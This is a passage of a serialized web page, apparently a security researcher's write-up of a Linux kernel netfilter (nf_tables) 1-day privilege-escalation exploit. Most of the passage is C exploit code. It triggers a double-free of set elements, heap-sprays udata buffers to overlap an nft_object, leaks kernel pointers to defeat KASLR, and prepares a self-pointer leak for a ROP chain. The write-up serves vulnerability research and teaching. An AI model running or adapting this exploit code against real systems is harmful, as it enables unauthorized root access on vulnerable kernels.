",{"type":26,"tag":217,"props":109731,"children":109732},{"style":7338},[109733],{"type":32,"value":109734},"\"pwnobj\"",{"type":26,"tag":217,"props":109736,"children":109737},{"style":7048},[109738],{"type":32,"value":7599},{"type":26,"tag":217,"props":109740,"children":109741},{"style":7130},[109742],{"type":32,"value":19177},{"type":26,"tag":217,"props":109744,"children":109745},{"style":7048},[109746],{"type":32,"value":7669},{"type":26,"tag":217,"props":109748,"children":109749},{"class":7028,"line":7811},[109750,109754,109758,109762,109767,109771],{"type":26,"tag":217,"props":109751,"children":109752},{"style":7064},[109753],{"type":32,"value":109716},{"type":26,"tag":217,"props":109755,"children":109756},{"style":7048},[109757],{"type":32,"value":1851},{"type":26,"tag":217,"props":109759,"children":109760},{"style":7054},[109761],{"type":32,"value":34846},{"type":26,"tag":217,"props":109763,"children":109764},{"style":7048},[109765],{"type":32,"value":109766},"[i], NFTNL_SET_ELEM_KEY, ",{"type":26,"tag":217,"props":109768,"children":109769},{"style":7149},[109770],{"type":32,"value":9804},{"type":26,"tag":217,"props":109772,"children":109773},{"style":7048},[109774],{"type":32,"value":109775},"key, KEY_LEN);\n",{"type":26,"tag":217,"props":109777,"children":109778},{"class":7028,"line":7820},[109779,109783,109787,109791,109796,109800],{"type":26,"tag":217,"props":109780,"children":109781},{"style":7064},[109782],{"type":32,"value":109716},{"type":26,"tag":217,"props":109784,"children":109785},{"style":7048},[109786],{"type":32,"value":1851},{"type":26,"tag":217,"props":109788,"children":109789},{"style":7054},[109790],{"type":32,"value":34846},{"type":26,"tag":217,"props":109792,"children":109793},{"style":7048},[109794],{"type":32,"value":109795},"[i], NFTNL_SET_ELEM_USERDATA, ",{"type":26,"tag":217,"props":109797,"children":109798},{"style":7149},[109799],{"type":32,"value":9804},{"type":26,"tag":217,"props":109801,"children":109802},{"style":7048},[109803],{"type":32,"value":109804},"udata_buf, size);\n",{"type":26,"tag":217,"props":109806,"children":109807},{"class":7028,"line":7844},[109808,109813,109818,109822],{"type":26,"tag":217,"props":109809,"children":109810},{"style":7064},[109811],{"type":32,"value":109812},"        nftnl_set_elem_add",{"type":26,"tag":217,"props":109814,"children":109815},{"style":7048},[109816],{"type":32,"value":109817},"(set, ",{"type":26,"tag":217,"props":109819,"children":109820},{"style":7054},[109821],{"type":32,"value":34846},{"type":26,"tag":217,"props":109823,"children":109824},{"style":7048},[109825],{"type":32,"value":109826},"[i]);\n",{"type":26,"tag":217,"props":109828,"children":109829},{"class":7028,"line":7910},[109830],{"type":26,"tag":217,"props":109831,"children":109832},{"style":7048},[109833],{"type":32,"value":9754},{"type":26,"tag":217,"props":109835,"children":109836},{"class":7028,"line":7954},[109837],{"type":26,"tag":217,"props":109838,"children":109839},{"style":7048},[109840],{"type":32,"value":59466},{"type":26,"tag":217,"props":109842,"children":109843},{"class":7028,"line":7985},[109844],{"type":26,"tag":217,"props":109845,"children":109846},{"emptyLinePlaceholder":17},[109847],{"type":32,"value":7817},{"type":26,"tag":217,"props":109849,"children":109850},{"class":7028,"line":8027},[109851],{"type":26,"tag":217,"props":109852,"children":109853},{"style":7048},[109854],{"type":32,"value":109855},"    // TRANSACTION 3\n",{"type":26,"tag":217,"props":109857,"children":109858},{"class":7028,"line":8035},[109859],{"type":26,"tag":217,"props":109860,"children":109861},{"style":7048},[109862],{"type":32,"value":59466},{"type":26,"tag":217,"props":109864,"children":109865},{"class":7028,"line":8067},[109866],{"type":26,"tag":217,"props":109867,"children":109868},{"style":7048},[109869],{"type":32,"value":109870},"    set = nftnl_set_alloc();\n",{"type":26,"tag":217,"props":109872,"children":109873},{"class":7028,"line":8107},[109874,109879],{"type":26,"tag":217,"props":109875,"children":109876},{"style":7064},[109877],{"type":32,"value":109878},"    nftnl_set_set_u32",{"type":26,"tag":217,"props":109880,"children":109881},{"style":7048},[109882],{"type":32,"value":109883},"(set, NFTNL_SET_FAMILY, family);\n",{"type":26,"tag":217,"props":109885,"children":109886},{"class":7028,"line":8145},[109887,109892],{"type":26,"tag":217,"props":109888,"children":109889},{"style":7064},[109890],{"type":32,"value":109891},"    nftnl_set_set_str",{"type":26,"tag":217,"props":109893,"children":109894},{"style":7048},[109895],{"type":32,"value":109896},"(set, NFTNL_SET_TABLE, exploit_table_name);\n",{"type":26,"tag":217,"props":109898,"children":109899},{"class":7028,"line":8154},[109900,109904,109909,109913],{"type":26,"tag":217,"props":109901,"children":109902},{"style":7064},[109903],{"type":32,"value":109891},{"type":26,"tag":217,"props":109905,"children":109906},{"style":7048},[109907],{"type":32,"value":109908},"(set, NFTNL_SET_NAME, ",{"type":26,"tag":217,"props":109910,"children":109911},{"style":7338},[109912],{"type":32,"value":109510},{"type":26,"tag":217,"props":109914,"children":109915},{"style":7048},[109916],{"type":32,"value":7669},{"type":26,"tag":217,"props":109918,"children":109919},{"class":7028,"line":8162},[109920],{"type":26,"tag":217,"props":109921,"children":109922},{"emptyLinePlaceholder":17},[109923],{"type":32,"value":7817},{"type":26,"tag":217,"props":109925,"children":109926},{"class":7028,"line":8197},[109927],{"type":26,"tag":217,"props":109928,"children":109929},{"style":7033},[109930],{"type":32,"value":109931},"    // make priv->dirty true\n",{"type":26,"tag":217,"props":109933,"children":109934},{"class":7028,"line":8220},[109935,109940,109944,109949],{"type":26,"tag":217,"props":109936,"children":109937},{"style":7064},[109938],{"type":32,"value":109939},"    memset",{"type":26,"tag":217,"props":109941,"children":109942},{"style":7048},[109943],{"type":32,"value":109694},{"type":26,"tag":217,"props":109945,"children":109946},{"style":7130},[109947],{"type":32,"value":109948},"0xff",{"type":26,"tag":217,"props":109950,"children":109951},{"style":7048},[109952],{"type":32,"value":109953},", KEY_LEN);\n",{"type":26,"tag":217,"props":109955,"children":109956},{"class":7028,"line":8228},[109957,109962,109966,109970,109974,109978,109982],{"type":26,"tag":217,"props":109958,"children":109959},{"style":7054},[109960],{"type":32,"value":109961},"    elem",{"type":26,"tag":217,"props":109963,"children":109964},{"style":7048},[109965],{"type":32,"value":7127},{"type":26,"tag":217,"props":109967,"children":109968},{"style":7130},[109969],{"type":32,"value":10676},{"type":26,"tag":217,"props":109971,"children":109972},{"style":7048},[109973],{"type":32,"value":10276},{"type":26,"tag":217,"props":109975,"children":109976},{"style":7149},[109977],{"type":32,"value":267},{"type":26,"tag":217,"props":109979,"children":109980},{"style":7064},[109981],{"type":32,"value":109677},{"type":26,"tag":217,"props":109983,"children":109984},{"style":7048},[109985],{"type":32,"value":8217},{"type":26,"tag":217,"props":109987,"children":109988},{"class":7028,"line":8292},[109989,109994,109998,110002,110006,110010,110015,110019,110023,110027],{"type":26,"tag":217,"props":109990,"children":109991},{"style":7064},[109992],{"type":32,"value":109993},"    nftnl_set_elem_set",{"type":26,"tag":217,"props":109995,"children":109996},{"style":7048},[109997],{"type":32,"value":1851},{"type":26,"tag":217,"props":109999,"children":110000},{"style":7054},[110001],{"type":32,"value":34846},{"type":26,"tag":217,"props":110003,"children":110004},{"style":7048},[110005],{"type":32,"value":7127},{"type":26,"tag":217,"props":110007,"children":110008},{"style":7130},[110009],{"type":32,"value":10676},{"type":26,"tag":217,"props":110011,"children":110012},{"style":7048},[110013],{"type":32,"value":110014},"], NFTNL_SET_ELEM_OBJREF, ",{"type":26,"tag":217,"props":110016,"children":110017},{"style":7338},[110018],{"type":32,"value":109734},{"type":26,"tag":217,"props":110020,"children":110021},{"style":7048},[110022],{"type":32,"value":7599},{"type":26,"tag":217,"props":110024,"children":110025},{"style":7130},[110026],{"type":32,"value":19177},{"type":26,"tag":217,"props":110028,"children":110029},{"style":7048},[110030],{"type":32,"value":7669},{"type":26,"tag":217,"props":110032,"children":110033},{"class":7028,"line":8351},[110034,110038,110042,110046,110050,110054,110059,110063],{"type":26,"tag":217,"props":110035,"children":110036},{"style":7064},[110037],{"type":32,"value":109993},{"type":26,"tag":217,"props":110039,"children":110040},{"style":7048},[110041],{"type":32,"value":1851},{"type":26,"tag":217,"props":110043,"children":110044},{"style":7054},[110045],{"type":32,"value":34846},{"type":26,"tag":217,"props":110047,"children":110048},{"style":7048},[110049],{"type":32,"value":7127},{"type":26,"tag":217,"props":110051,"children":110052},{"style":7130},[110053],{"type":32,"value":10676},{"type":26,"tag":217,"props":110055,"children":110056},{"style":7048},[110057],{"type":32,"value":110058},"], NFTNL_SET_ELEM_KEY, ",{"type":26,"tag":217,"props":110060,"children":110061},{"style":7149},[110062],{"type":32,"value":9804},{"type":26,"tag":217,"props":110064,"children":110065},{"style":7048},[110066],{"type":32,"value":109775},{"type":26,"tag":217,"props":110068,"children":110069},{"class":7028,"line":8391},[110070,110075,110079,110083,110087,110091],{"type":26,"tag":217,"props":110071,"children":110072},{"style":7064},[110073],{"type":32,"value":110074},"    nftnl_set_elem_add",{"type":26,"tag":217,"props":110076,"children":110077},{"style":7048},[110078],{"type":32,"value":109817},{"type":26,"tag":217,"props":110080,"children":110081},{"style":7054},[110082],{"type":32,"value":34846},{"type":26,"tag":217,"props":110084,"children":110085},{"style":7048},[110086],{"type":32,"value":7127},{"type":26,"tag":217,"props":110088,"children":110089},{"style":7130},[110090],{"type":32,"value":10676},{"type":26,"tag":217,"props":110092,"children":110093},{"style":7048},[110094],{"type":32,"value":26245},{"type":26,"tag":217,"props":110096,"children":110097},{"class":7028,"line":8439},[110098],{"type":26,"tag":217,"props":110099,"children":110100},{"style":7048},[110101],{"type":32,"value":59466},{"type":26,"tag":217,"props":110103,"children":110104},{"class":7028,"line":8448},[110105],{"type":26,"tag":217,"props":110106,"children":110107},{"emptyLinePlaceholder":17},[110108],{"type":32,"value":7817},{"type":26,"tag":217,"props":110110,"children":110111},{"class":7028,"line":8456},[110112],{"type":26,"tag":217,"props":110113,"children":110114},{"style":7048},[110115],{"type":32,"value":110116},"    // double-free commited elems\n",{"type":26,"tag":217,"props":110118,"children":110119},{"class":7028,"line":8500},[110120],{"type":26,"tag":217,"props":110121,"children":110122},{"style":7048},[110123],{"type":32,"value":59466},{"type":26,"tag":217,"props":110125,"children":110126},{"class":7028,"line":8535},[110127,110132,110136],{"type":26,"tag":217,"props":110128,"children":110129},{"style":7048},[110130],{"type":32,"value":110131},"    nftnl_set_free(",{"type":26,"tag":217,"props":110133,"children":110134},{"style":7119},[110135],{"type":32,"value":106107},{"type":26,"tag":217,"props":110137,"children":110138},{"style":7048},[110139],{"type":32,"value":7669},{"type":26,"tag":217,"props":110141,"children":110142},{"class":7028,"line":8664},[110143],{"type":26,"tag":217,"props":110144,"children":110145},{"style":7048},[110146],{"type":32,"value":7184},{"type":26,"tag":217,"props":110148,"children":110149},{"class":7028,"line":8700},[110150],{"type":26,"tag":217,"props":110151,"children":110152},{"style":7048},[110153],{"type":32,"value":59466},{"type":26,"tag":607,"props":110155,"children":110157},{"id":110156},"leaking-kaslr",[110158],{"type":32,"value":110159},"Leaking KASLR",{"type":26,"tag":39,"props":110161,"children":110162},{},[110163,110165,110171,110173,110178,110180,110186,110188,110194,110196],{"type":32,"value":110164},"Tables contain an outline user data buffer ",{"type":26,"tag":83,"props":110166,"children":110168},{"className":110167},[],[110169],{"type":32,"value":110170},"udata",{"type":32,"value":110172}," that we can both read and write. By allocating a ",{"type":26,"tag":83,"props":110174,"children":110176},{"className":110175},[],[110177],{"type":32,"value":110170},{"type":32,"value":110179}," buffer on the double-free slot and then overlapping it with an ",{"type":26,"tag":83,"props":110181,"children":110183},{"className":110182},[],[110184],{"type":32,"value":110185},"nft_object",{"type":32,"value":110187}," we can leak the ",{"type":26,"tag":83,"props":110189,"children":110191},{"className":110190},[],[110192],{"type":32,"value":110193},"->ops",{"type":32,"value":110195}," pointer, and use it to calculate the KASLR slide.\n",{"type":26,"tag":6468,"props":110197,"children":110199},{"alt":9464,"src":110198},"/posts/netfilter-universal-root-1-day/kaslr.png",[],{"type":26,"tag":207,"props":110201,"children":110203},{"className":33132,"code":110202,"language":33131,"meta":8,"style":8},"[...]\n    // spray 3 udata buffers to consume elems A, B and A again\n    udata_spray(nl, 0xe8, 0, 3, NULL);\n\n    // check if overlap happened (i.e if we have to overlapping udata buffers)\n    char spray_name[16];\n    char *udata[3];\n    for (int i = 0; i \u003C 3; i++)\n    {\n        snprintf(spray_name, sizeof(spray_name), \"spray-%i\", i);\n        udata[i] = getudata(nl, spray_name);\n    }\n    if (udata[0][0] == udata[2][0])\n    {\n        puts(\"[+] got duplicated table\");\n    }\n\n    // Replace one of the udata buffers with nft_object\n    // and read it's counterpart to leak the nft_object struct\n    puts(\"[*] Info leak\");\n    deludata_spray(nl, 0, 1);\n    wait_destroyer();\n    obj_spray(nl, 0, 1, NULL, 0);\n    uint64_t *fake_obj = (uint64_t *)getudata(nl, \"spray-2\");\n[...]\n",[110204],{"type":26,"tag":83,"props":110205,"children":110206},{"__ignoreMap":8},[110207,110214,110222,110257,110264,110272,110297,110324,110376,110383,110415,110441,110448,110512,110519,110540,110547,110554,110562,110570,110591,110620,110632,110676,110730],{"type":26,"tag":217,"props":110208,"children":110209},{"class":7028,"line":7029},[110210],{"type":26,"tag":217,"props":110211,"children":110212},{"style":7048},[110213],{"type":32,"value":59466},{"type":26,"tag":217,"props":110215,"children":110216},{"class":7028,"line":6770},[110217],{"type":26,"tag":217,"props":110218,"children":110219},{"style":7048},[110220],{"type":32,"value":110221},"    // spray 3 udata buffers to consume elems A, B and A again\n",{"type":26,"tag":217,"props":110223,"children":110224},{"class":7028,"line":6779},[110225,110230,110234,110239,110244,110249,110253],{"type":26,"tag":217,"props":110226,"children":110227},{"style":7048},[110228],{"type":32,"value":110229},"    udata_spray(",{"type":26,"tag":217,"props":110231,"children":110232},{"style":7119},[110233],{"type":32,"value":109364},{"type":26,"tag":217,"props":110235,"children":110236},{"style":7048},[110237],{"type":32,"value":110238},", 0",{"type":26,"tag":217,"props":110240,"children":110241},{"style":7119},[110242],{"type":32,"value":110243},"xe8",{"type":26,"tag":217,"props":110245,"children":110246},{"style":7048},[110247],{"type":32,"value":110248},", 0, 3, ",{"type":26,"tag":217,"props":110250,"children":110251},{"style":7119},[110252],{"type":32,"value":18022},{"type":26,"tag":217,"props":110254,"children":110255},{"style":7048},[110256],{"type":32,"value":7669},{"type":26,"tag":217,"props":110258,"children":110259},{"class":7028,"line":7140},[110260],{"type":26,"tag":217,"props":110261,"children":110262},{"emptyLinePlaceholder":17},[110263],{"type":32,"value":7817},{"type":26,"tag":217,"props":110265,"children":110266},{"class":7028,"line":7165},[110267],{"type":26,"tag":217,"props":110268,"children":110269},{"style":7033},[110270],{"type":32,"value":110271},"    // check if overlap happened (i.e if we have to overlapping udata buffers)\n",{"type":26,"tag":217,"props":110273,"children":110274},{"class":7028,"line":7178},[110275,110280,110285,110289,110293],{"type":26,"tag":217,"props":110276,"children":110277},{"style":7154},[110278],{"type":32,"value":110279},"    char",{"type":26,"tag":217,"props":110281,"children":110282},{"style":7054},[110283],{"type":32,"value":110284}," spray_name",{"type":26,"tag":217,"props":110286,"children":110287},{"style":7048},[110288],{"type":32,"value":7127},{"type":26,"tag":217,"props":110290,"children":110291},{"style":7130},[110292],{"type":32,"value":12286},{"type":26,"tag":217,"props":110294,"children":110295},{"style":7048},[110296],{"type":32,"value":10652},{"type":26,"tag":217,"props":110298,"children":110299},{"class":7028,"line":7389},[110300,110304,110308,110312,110316,110320],{"type":26,"tag":217,"props":110301,"children":110302},{"style":7154},[110303],{"type":32,"value":110279},{"type":26,"tag":217,"props":110305,"children":110306},{"style":7149},[110307],{"type":32,"value":9690},{"type":26,"tag":217,"props":110309,"children":110310},{"style":7054},[110311],{"type":32,"value":110170},{"type":26,"tag":217,"props":110313,"children":110314},{"style":7048},[110315],{"type":32,"value":7127},{"type":26,"tag":217,"props":110317,"children":110318},{"style":7130},[110319],{"type":32,"value":10676},{"type":26,"tag":217,"props":110321,"children":110322},{"style":7048},[110323],{"type":32,"value":10652},{"type":26,"tag":217,"props":110325,"children":110326},{"class":7028,"line":7406},[110327,110331,110335,110339,110343,110347,110351,110355,110359,110364,110368,110372],{"type":26,"tag":217,"props":110328,"children":110329},{"style":7042},[110330],{"type":32,"value":12461},{"type":26,"tag":217,"props":110332,"children":110333},{"style":7048},[110334],{"type":32,"value":7051},{"type":26,"tag":217,"props":110336,"children":110337},{"style":7154},[110338],{"type":32,"value":9619},{"type":26,"tag":217,"props":110340,"children":110341},{"style":7048},[110342],{"type":32,"value":11221},{"type":26,"tag":217,"props":110344,"children":110345},{"style":7149},[110346],{"type":32,"value":267},{"type":26,"tag":217,"props":110348,"children":110349},{"style":7130},[110350],{"type":32,"value":9922},{"type":26,"tag":217,"props":110352,"children":110353},{"style":7048},[110354],{"type":32,"value":11068},{"type":26,"tag":217,"props":110356,"children":110357},{"style":7149},[110358],{"type":32,"value":7289},{"type":26,"tag":217,"props":110360,"children":110361},{"style":7130},[110362],{"type":32,"value":110363}," 3",{"type":26,"tag":217,"props":110365,"children":110366},{"style":7048},[110367],{"type":32,"value":106346},{"type":26,"tag":217,"props":110369,"children":110370},{"style":7149},[110371],{"type":32,"value":11082},{"type":26,"tag":217,"props":110373,"children":110374},{"style":7048},[110375],{"type":32,"value":10025},{"type":26,"tag":217,"props":110377,"children":110378},{"class":7028,"line":7439},[110379],{"type":26,"tag":217,"props":110380,"children":110381},{"style":7048},[110382],{"type":32,"value":37334},{"type":26,"tag":217,"props":110384,"children":110385},{"class":7028,"line":7487},[110386,110391,110396,110400,110405,110410],{"type":26,"tag":217,"props":110387,"children":110388},{"style":7064},[110389],{"type":32,"value":110390},"        snprintf",{"type":26,"tag":217,"props":110392,"children":110393},{"style":7048},[110394],{"type":32,"value":110395},"(spray_name, ",{"type":26,"tag":217,"props":110397,"children":110398},{"style":7154},[110399],{"type":32,"value":34717},{"type":26,"tag":217,"props":110401,"children":110402},{"style":7048},[110403],{"type":32,"value":110404},"(spray_name), ",{"type":26,"tag":217,"props":110406,"children":110407},{"style":7338},[110408],{"type":32,"value":110409},"\"spray-%i\"",{"type":26,"tag":217,"props":110411,"children":110412},{"style":7048},[110413],{"type":32,"value":110414},", i);\n",{"type":26,"tag":217,"props":110416,"children":110417},{"class":7028,"line":7524},[110418,110423,110427,110431,110436],{"type":26,"tag":217,"props":110419,"children":110420},{"style":7054},[110421],{"type":32,"value":110422},"        udata",{"type":26,"tag":217,"props":110424,"children":110425},{"style":7048},[110426],{"type":32,"value":109668},{"type":26,"tag":217,"props":110428,"children":110429},{"style":7149},[110430],{"type":32,"value":267},{"type":26,"tag":217,"props":110432,"children":110433},{"style":7064},[110434],{"type":32,"value":110435}," getudata",{"type":26,"tag":217,"props":110437,"children":110438},{"style":7048},[110439],{"type":32,"value":110440},"(nl, spray_name);\n",{"type":26,"tag":217,"props":110442,"children":110443},{"class":7028,"line":7553},[110444],{"type":26,"tag":217,"props":110445,"children":110446},{"style":7048},[110447],{"type":32,"value":9754},{"type":26,"tag":217,"props":110449,"children":110450},{"class":7028,"line":7570},[110451,110455,110459,110463,110467,110471,110475,110479,110483,110487,110492,110496,110500,110504,110508],{"type":26,"tag":217,"props":110452,"children":110453},{"style":7042},[110454],{"type":32,"value":9710},{"type":26,"tag":217,"props":110456,"children":110457},{"style":7048},[110458],{"type":32,"value":7051},{"type":26,"tag":217,"props":110460,"children":110461},{"style":7054},[110462],{"type":32,"value":110170},{"type":26,"tag":217,"props":110464,"children":110465},{"style":7048},[110466],{"type":32,"value":7127},{"type":26,"tag":217,"props":110468,"children":110469},{"style":7130},[110470],{"type":32,"value":1883},{"type":26,"tag":217,"props":110472,"children":110473},{"style":7048},[110474],{"type":32,"value":10980},{"type":26,"tag":217,"props":110476,"children":110477},{"style":7130},[110478],{"type":32,"value":1883},{"type":26,"tag":217,"props":110480,"children":110481},{"style":7048},[110482],{"type":32,"value":10276},{"type":26,"tag":217,"props":110484,"children":110485},{"style":7149},[110486],{"type":32,"value":9106},{"type":26,"tag":217,"props":110488,"children":110489},{"style":7054},[110490],{"type":32,"value":110491}," udata",{"type":26,"tag":217,"props":110493,"children":110494},{"style":7048},[110495],{"type":32,"value":7127},{"type":26,"tag":217,"props":110497,"children":110498},{"style":7130},[110499],{"type":32,"value":332},{"type":26,"tag":217,"props":110501,"children":110502},{"style":7048},[110503],{"type":32,"value":10980},{"type":26,"tag":217,"props":110505,"children":110506},{"style":7130},[110507],{"type":32,"value":1883},{"type":26,"tag":217,"props":110509,"children":110510},{"style":7048},[110511],{"type":32,"value":89638},{"type":26,"tag":217,"props":110513,"children":110514},{"class":7028,"line":7621},[110515],{"type":26,"tag":217,"props":110516,"children":110517},{"style":7048},[110518],{"type":32,"value":37334},{"type":26,"tag":217,"props":110520,"children":110521},{"class":7028,"line":7672},[110522,110527,110531,110536],{"type":26,"tag":217,"props":110523,"children":110524},{"style":7064},[110525],{"type":32,"value":110526},"        puts",{"type":26,"tag":217,"props":110528,"children":110529},{"style":7048},[110530],{"type":32,"value":1851},{"type":26,"tag":217,"props":110532,"children":110533},{"style":7338},[110534],{"type":32,"value":110535},"\"[+] got duplicated table\"",{"type":26,"tag":217,"props":110537,"children":110538},{"style":7048},[110539],{"type":32,"value":7669},{"type":26,"tag":217,"props":110541,"children":110542},{"class":7028,"line":7681},[110543],{"type":26,"tag":217,"props":110544,"children":110545},{"style":7048},[110546],{"type":32,"value":9754},{"type":26,"tag":217,"props":110548,"children":110549},{"class":7028,"line":7754},[110550],{"type":26,"tag":217,"props":110551,"children":110552},{"emptyLinePlaceholder":17},[110553],{"type":32,"value":7817},{"type":26,"tag":217,"props":110555,"children":110556},{"class":7028,"line":7784},[110557],{"type":26,"tag":217,"props":110558,"children":110559},{"style":7033},[110560],{"type":32,"value":110561},"    // Replace one of the udata buffers with nft_object\n",{"type":26,"tag":217,"props":110563,"children":110564},{"class":7028,"line":7802},[110565],{"type":26,"tag":217,"props":110566,"children":110567},{"style":7033},[110568],{"type":32,"value":110569},"    // and read it's counterpart to leak the nft_object struct\n",{"type":26,"tag":217,"props":110571,"children":110572},{"class":7028,"line":7811},[110573,110578,110582,110587],{"type":26,"tag":217,"props":110574,"children":110575},{"style":7064},[110576],{"type":32,"value":110577},"    puts",{"type":26,"tag":217,"props":110579,"children":110580},{"style":7048},[110581],{"type":32,"value":1851},{"type":26,"tag":217,"props":110583,"children":110584},{"style":7338},[110585],{"type":32,"value":110586},"\"[*] Info leak\"",{"type":26,"tag":217,"props":110588,"children":110589},{"style":7048},[110590],{"type":32,"value":7669},{"type":26,"tag":217,"props":110592,"children":110593},{"class":7028,"line":7820},[110594,110599,110604,110608,110612,110616],{"type":26,"tag":217,"props":110595,"children":110596},{"style":7064},[110597],{"type":32,"value":110598},"    deludata_spray",{"type":26,"tag":217,"props":110600,"children":110601},{"style":7048},[110602],{"type":32,"value":110603},"(nl, ",{"type":26,"tag":217,"props":110605,"children":110606},{"style":7130},[110607],{"type":32,"value":1883},{"type":26,"tag":217,"props":110609,"children":110610},{"style":7048},[110611],{"type":32,"value":7599},{"type":26,"tag":217,"props":110613,"children":110614},{"style":7130},[110615],{"type":32,"value":185},{"type":26,"tag":217,"props":110617,"children":110618},{"style":7048},[110619],{"type":32,"value":7669},{"type":26,"tag":217,"props":110621,"children":110622},{"class":7028,"line":7844},[110623,110628],{"type":26,"tag":217,"props":110624,"children":110625},{"style":7064},[110626],{"type":32,"value":110627},"    wait_destroyer",{"type":26,"tag":217,"props":110629,"children":110630},{"style":7048},[110631],{"type":32,"value":8217},{"type":26,"tag":217,"props":110633,"children":110634},{"class":7028,"line":7910},[110635,110640,110644,110648,110652,110656,110660,110664,110668,110672],{"type":26,"tag":217,"props":110636,"children":110637},{"style":7064},[110638],{"type":32,"value":110639},"    obj_spray",{"type":26,"tag":217,"props":110641,"children":110642},{"style":7048},[110643],{"type":32,"value":110603},{"type":26,"tag":217,"props":110645,"children":110646},{"style":7130},[110647],{"type":32,"value":1883},{"type":26,"tag":217,"props":110649,"children":110650},{"style":7048},[110651],{"type":32,"value":7599},{"type":26,"tag":217,"props":110653,"children":110654},{"style":7130},[110655],{"type":32,"value":185},{"type":26,"tag":217,"props":110657,"children":110658},{"style":7048},[110659],{"type":32,"value":7599},{"type":26,"tag":217,"props":110661,"children":110662},{"style":7154},[110663],{"type":32,"value":18022},{"type":26,"tag":217,"props":110665,"children":110666},{"style":7048},[110667],{"type":32,"value":7599},{"type":26,"tag":217,"props":110669,"children":110670},{"style":7130},[110671],{"type":32,"value":1883},{"type":26,"tag":217,"props":110673,"children":110674},{"style":7048},[110675],{"type":32,"value":7669},{"type":26,"tag":217,"props":110677,"children":110678},{"class":7028,"line":7954},[110679,110683,110687,110692,110696,110700,110704,110708,110712,110717,110721,110726],{"type":26,"tag":217,"props":110680,"children":110681},{"style":7154},[110682],{"type":32,"value":35352},{"type":26,"tag":217,"props":110684,"children":110685},{"style":7149},[110686],{"type":32,"value":9690},{"type":26,"tag":217,"props":110688,"children":110689},{"style":7048},[110690],{"type":32,"value":110691},"fake_obj ",{"type":26,"tag":217,"props":110693,"children":110694},{"style":7149},[110695],{"type":32,"value":267},{"type":26,"tag":217,"props":110697,"children":110698},{"style":7048},[110699],{"type":32,"value":7051},{"type":26,"tag":217,"props":110701,"children":110702},{"style":7154},[110703],{"type":32,"value":15189},{"type":26,"tag":217,"props":110705,"children":110706},{"style":7149},[110707],{"type":32,"value":9690},{"type":26,"tag":217,"props":110709,"children":110710},{"style":7048},[110711],{"type":32,"value":1889},{"type":26,"tag":217,"props":110713,"children":110714},{"style":7064},[110715],{"type":32,"value":110716},"getudata",{"type":26,"tag":217,"props":110718,"children":110719},{"style":7048},[110720],{"type":32,"value":110603},{"type":26,"tag":217,"props":110722,"children":110723},{"style":7338},[110724],{"type":32,"value":110725},"\"spray-2\"",{"type":26,"tag":217,"props":110727,"children":110728},{"style":7048},[110729],{"type":32,"value":7669},{"type":26,"tag":217,"props":110731,"children":110732},{"class":7028,"line":7985},[110733],{"type":26,"tag":217,"props":110734,"children":110735},{"style":7048},[110736],{"type":32,"value":59466},{"type":26,"tag":607,"props":110738,"children":110740},{"id":110739},"leaking-self-pointer-of-nft_object",[110741,110743],{"type":32,"value":110742},"Leaking self pointer of ",{"type":26,"tag":83,"props":110744,"children":110746},{"className":110745},[],[110747],{"type":32,"value":110185},{"type":26,"tag":39,"props":110749,"children":110750},{},[110751,110753,110758,110760,110765,110767,110772,110774,110780],{"type":32,"value":110752},"As I'll discuss in more depth in the ROP section, the exploit relies on a known address of controllable memory to work. I decided to use the ",{"type":26,"tag":83,"props":110754,"children":110756},{"className":110755},[],[110757],{"type":32,"value":110185},{"type":32,"value":110759}," to get its own address. This is possible because the ",{"type":26,"tag":83,"props":110761,"children":110763},{"className":110762},[],[110764],{"type":32,"value":110185},{"type":32,"value":110766}," has a ",{"type":26,"tag":83,"props":110768,"children":110770},{"className":110769},[],[110771],{"type":32,"value":110170},{"type":32,"value":110773}," pointer (similar to ",{"type":26,"tag":83,"props":110775,"children":110777},{"className":110776},[],[110778],{"type":32,"value":110779},"table->udata",{"type":32,"value":110781}," that I used for leaking KASLR), that I can use to read/write data.",{"type":26,"tag":39,"props":110783,"children":110784},{},[110785,110786,110791,110793,110799,110801,110806,110808,110813,110815,110821,110823,110828,110830,110835,110837,110842,110844],{"type":32,"value":475},{"type":26,"tag":83,"props":110787,"children":110789},{"className":110788},[],[110790],{"type":32,"value":110185},{"type":32,"value":110792}," struct also contains a ",{"type":26,"tag":83,"props":110794,"children":110796},{"className":110795},[],[110797],{"type":32,"value":110798},"list_head",{"type":32,"value":110800}," inserted in a circular list containing all ",{"type":26,"tag":83,"props":110802,"children":110804},{"className":110803},[],[110805],{"type":32,"value":110185},{"type":32,"value":110807},"'s that belong to a given ",{"type":26,"tag":83,"props":110809,"children":110811},{"className":110810},[],[110812],{"type":32,"value":22343},{"type":32,"value":110814},". Considering that our object is currently alone in its table, the ",{"type":26,"tag":83,"props":110816,"children":110818},{"className":110817},[],[110819],{"type":32,"value":110820},"table->list.next",{"type":32,"value":110822}," pointer in the ",{"type":26,"tag":83,"props":110824,"children":110826},{"className":110825},[],[110827],{"type":32,"value":110185},{"type":32,"value":110829}," will point back to the ",{"type":26,"tag":83,"props":110831,"children":110833},{"className":110832},[],[110834],{"type":32,"value":110798},{"type":32,"value":110836}," contained in the ",{"type":26,"tag":83,"props":110838,"children":110840},{"className":110839},[],[110841],{"type":32,"value":22343},{"type":32,"value":110843}," and vice-versa.\n",{"type":26,"tag":6468,"props":110845,"children":110847},{"alt":9464,"src":110846},"/posts/netfilter-universal-root-1-day/nft-object.png",[],{"type":26,"tag":39,"props":110849,"children":110850},{},[110851,110853,110858,110859,110864,110866,110872,110874,110879,110880,110885,110887,110892,110894,110899],{"type":32,"value":110852},"In short, that means that if we swap the ",{"type":26,"tag":83,"props":110854,"children":110856},{"className":110855},[],[110857],{"type":32,"value":110170},{"type":32,"value":15592},{"type":26,"tag":83,"props":110860,"children":110862},{"className":110861},[],[110863],{"type":32,"value":110185},{"type":32,"value":110865}," with its own ",{"type":26,"tag":83,"props":110867,"children":110869},{"className":110868},[],[110870],{"type":32,"value":110871},"list.next",{"type":32,"value":110873}," pointer we should be able to read a pointer back to the ",{"type":26,"tag":83,"props":110875,"children":110877},{"className":110876},[],[110878],{"type":32,"value":110185},{"type":32,"value":107417},{"type":26,"tag":83,"props":110881,"children":110883},{"className":110882},[],[110884],{"type":32,"value":110798},{"type":32,"value":110886}," which is also the start of the ",{"type":26,"tag":83,"props":110888,"children":110890},{"className":110889},[],[110891],{"type":32,"value":110185},{"type":32,"value":110893}," itself.\n",{"type":26,"tag":9348,"props":110895,"children":110896},{},[110897],{"type":32,"value":110898},"NOTE:",{"type":32,"value":110900}," This is a novel small 